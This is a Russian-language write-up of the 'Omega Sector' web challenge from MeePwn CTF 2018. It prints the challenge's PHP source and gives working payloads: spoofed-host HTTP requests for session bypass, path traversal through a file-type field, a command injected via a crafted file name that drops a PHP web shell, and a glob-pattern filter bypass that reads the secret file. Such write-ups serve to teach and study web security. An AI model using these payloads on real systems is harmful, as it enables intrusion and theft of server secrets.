Omega Sector Web Writeup
Всем привет, этот райтап будет посвящен одному из интересных тасков с прошедшего MeetPWN CTF 2018, а именно веб-таску Omega Sector.
Вариантов решения таска будет два: неадекватное решение от меня и адекватное, которое подглядел в других райтапах:)
Описание задания:
Wtf !? I just want to go to OmegaSector but there is weird authentication here, please help me
http://138.68.228.12/
http://138.68.228.12/
Неадекватное решение таска
Изначально нам предоставлена ссылка на http://138.68.228.12/
Первое, что нас встречает на сайте:
Ну что ж, сразу посмотрим исходный код html-страницы и заметим, что в коде есть следующий комментарий:
<!-- is_debug=1 -->
<!-- All images/medias credit goes to nexon, wizet -->
Попробуем составить URL как http://138.68.228.12/?is_debug=1 и получим исходник сайта:
Копипаста:
<?php
ob_start();
session_start();
?>
...HTML...
<?php
ini_set("display_errors", 0);
include('secret.php');
$remote=$_SERVER['REQUEST_URI'];
if(strpos(urldecode($remote),'..')){
mapl_die();
}
if(!parse_url($remote, PHP_URL_HOST)){
$remote='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI'];
}
$whoareyou=parse_url($remote, PHP_URL_HOST);
if($whoareyou==="alien.somewhere.meepwn.team"){
if(!isset($_GET['alien'])){
$wrong = "...HTML...";
echo $wrong;
}
if(isset($_GET['alien']) and !empty($_GET['alien'])){
if($_GET['alien']==='@!#$@!@@'){
$_SESSION['auth']=hash('sha256', 'alien'.$salt);
exit(header( "Location: alien_sector.php" ));
} else {
mapl_die();
}
}
}
elseif($whoareyou==="human.ludibrium.meepwn.team"){
if(!isset($_GET['human'])){
echo "";
$wrong = "...HTML...";
echo $wrong;
}
if(isset($_GET['human']) and !empty($_GET['human'])){
if($_GET['human']==='Yes'){
$_SESSION['auth']=hash('sha256', 'human'.$salt);
exit(header( "Location: omega_sector.php" ));
} else{
mapl_die();
}
}
} else {
echo '...HTML...';
if(isset($_GET['is_debug']) and !empty($_GET['is_debug']) and $_GET['is_debug']==="1"){
show_source(__FILE__);
}
}
?>
...HTML...
<!-- is_debug=1 -->
<!-- All images/medias credit goes to nexon, wizet -->
...HTML...
<?php ob_end_flush(); ?>
Немного разберем код по-частям
Вероятнее всего задача таска прочитать этот файл:
include('secret.php');
В эту переменную помещаются все символы из первой строки HTTP запроса между, например, GET и HTTP/1.1 :
$remote=$_SERVER['REQUEST_URI'];
Если в ней будет подстрока из двух точек - завершать выполнение скрипта:
if(strpos(urldecode($remote),'..')){
mapl_die();
}
Если PHP не сможет распарсить переменную $remote как ссылку, то присвоить ей значение по-умолчанию, взятое из глобальных переменных:
if(!parse_url($remote, PHP_URL_HOST)){
$remote='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI'];
}
Парсинг переменной $remote и помещение доменного имени в $whoareyou:
$whoareyou=parse_url($remote, PHP_URL_HOST);
Если $whoareyou это строка "alien.somewhere.meepwn.team" и если присутствует GET-переменная alien, которая равна строке '@!#$@!@@', то присвоить данной сессии идентификатор alien(пришельца) и перенаправить на скрипт alien_sector.php (вероятнее всего в нем есть проверка сессии):
if($whoareyou==="alien.somewhere.meepwn.team"){
if(!isset($_GET['alien'])){
$wrong = "...HTML...";
echo $wrong;
}
if(isset($_GET['alien']) and !empty($_GET['alien'])){
if($_GET['alien']==='@!#$@!@@'){
$_SESSION['auth']=hash('sha256', 'alien'.$salt);
exit(header( "Location: alien_sector.php" ));
} else {
mapl_die();
}
}
}
Аналогичное для человека, отличается только доменное имя, идентификатор(alien -> human), название GET переменной(alien -> human),сравниваемое значение ('@!#$@!@@' -> 'Yes') и ссылка для перехода(alien_sector.php -> omega_sector.php):
} elseif($whoareyou==="human.ludibrium.meepwn.team"){
if(!isset($_GET['human'])){
echo "";
$wrong = "...HTML...";
echo $wrong;
}
if(isset($_GET['human']) and !empty($_GET['human'])){
if($_GET['human']==='Yes'){
$_SESSION['auth']=hash('sha256', 'human'.$salt);
exit(header( "Location: omega_sector.php" ));
} else{
mapl_die();
}
}
}
Подведем итоги изучения кода
У нас есть два типа пользователей: люди и пришельцы. Получить доступ к их скриптам мы можем получить только, если сможем манипулировать переменной $remote, чтобы она корректно распарсилась как ссылка и предоставила нужное нам доменное имя ( alien.somewhere.meepwn.team или human.ludibrium.meepwn.team).
Ну так давайте сделаем это!
Запрос в BurpSuite для получения сессии соответственно для пришельца или человека будет выглядеть следующим образом (предварительно скорее всего придется добавить в hosts домены alien.somewhere.meepwn.team и human.ludibrium.meepwn.team к ip 138.68.228.12 :
Для пришельца:
GET http://alien.somewhere.meepwn.team/?alien=%40!%23$%40!%40%40 HTTP/1.1
Host: 138.68.228.12:80
Для человека:
GET http://human.ludibrium.meepwn.team/?human=Yes HTTP/1.1
Host: 138.68.228.12:80
В ответ нам приходит сессия и перенаправление на alien_sector.php или omega_sector.php .
Посмотри на эти две страницы.
alien_sector.php:
(нечитабельные символы - шрифт, по центру в текстовом окне скопипастил строки, в дальнейшем буду предоставлять сразу в декодированном виде)
omega_sector.php:
В случае заполнения формы для людей или пришельцев замечаем следующее поведение (выделил то, что будет нас интересовать в дальнейшем):
1. Длина введенных строк не должна превышать 40 символов.
2. За людей можно отсылать только буквы и цифры.
3. За пришельцев можно отсылать все кроме букв и цифр.
4. После корректного заполнения формы придет ссылка на файл, в котором содержится то, что мы ввели, с автоматически сгенерированным именем и расширением .human или .alien в директории human_message или alien_message.
Примеры результатов заполнения формы:
Для людей:
Для пришельцев:
Рассмотрим, как пример, форму отправки от имени пришельца:
Оказывается, кроме переменной-сообщения, мы отсылаем вторую переменную - type, которая, очевидно, является расширением сохраняемого нами файла. Попробуем его поменять:
Получилось! А что, если мы можем не только изменять расширение, но и переходить на директорию выше + создавать файл с произвольным именем? Пробуем!
Запрос:
Проверка:
Сработало:) То есть на данный момент мы можем создавать любой файл в системе (если на то есть права) с содержимым либо только буквами и цифрами, либо наоборот (без букв и цифр).
После многих вставленных кавычек пришел к следующему решению:
1. Создаем файлик с произвольным содержимым в директории /alien_message/ со следующим именем (без кавычек):
"<куча_пробелов>echo '<?php system($_GET['c']); ?>' > drakylar.php;"
2. Помещаем PHP скрипт в директорию /alien_message/ под именем test.php и следующим содержимым (обьяснение кода будет позже):
<?=$_=(','^'@').(','^'_');$_=`$_`;`$_`;
3. Сделать запрос на /alien_message/drakylar.php?c=ls (или какая-нибудь другая команда bash) и ...
получим шелл! Далее остается выполнить команду cat ../secret.php и получить флаг:
Флаг: MeePwnCTF{__133-221-333-123-111___}
Теперь, прежде, чем перейти к адекватному райтапу, рассмотрим, что делает PHP скрипт(с комментариями и переносами строк):
<?= //один из вариантов начала PHP кода
$_=(','^'@').(','^'_'); //конкатенация двух символов 'l' и 's' === 'ls'
$_=`$_`; //выполнение команды 'ls' и помещение вывода команды в ту же переменную
`$_`;//выполнение вывода команды 'ls' как еще одна системная команда
А теперь вспомним, что у нас создан файл "много_пробелов echo 'пхп_код' > drakylar.php". И эта строка у нас исполнится, как bash команда (предпоследняя строка заносит имя файла в переменную, а последняя исполняет, как отдельную команду). Таким образом мы смогли создать файл == php шелл в той же директории!
"Зачем же много пробелов в начале файла?", - спросите вы. А дело в том, что вывод команды ls может перед вашим файлом с командой в имени занести несколько других файлов, которые могут порушить выполнение команды в оболочке bash, поэтому нам требовалось, чтобы наш файл был в списке выше остальных (даже точек).
А теперь давайте рассмотрим нормальный вариант решения задания!
Погуглим "bash waf bypass", первая же ссылка перенаправляет нас на https://medium.com/secjuice/waf-evasion-techniques-718026d693d8
Цитата с сайта:
I can read your passwd file with: “/???/??t /???/??ss??”.
Неформальное обьяснение: знак вопроса в команде будет восприниматься, как точка в регулярном выражении, обозначающая почти любой символ. И первый же файл по-алфавиту, который попадает под данную маску. Рассмотрим подробнее:
/???/??? -> /bin/cat
тк первая папка из трех букв, подходящая под регулярку - bin, и первый файл - cat. А тк название файла, который требуется прочитать, это secret.php, то наша команда принимает вид:
/???/??? ../??????.??? -> /bin/cat ../secret.php # вместо маски файла secret.php можно было поставить *
И итоговый скрипт:
<?=`/???/??? ../??????.???`; ?>
После чего отсылаем скрипт..
И получаем результат (нужно будет пролистнуть до-конца вниз):
Можете сами сравнить решения и понять, какой лучше подойдет вам:)
P.S. По всем вопросам/ошибкам в райтапе пишите в комменты или в лс ( https://vk.com/drakylar )
- Автор: drakylar
- Комментарии: 0
- Просмотры: 7743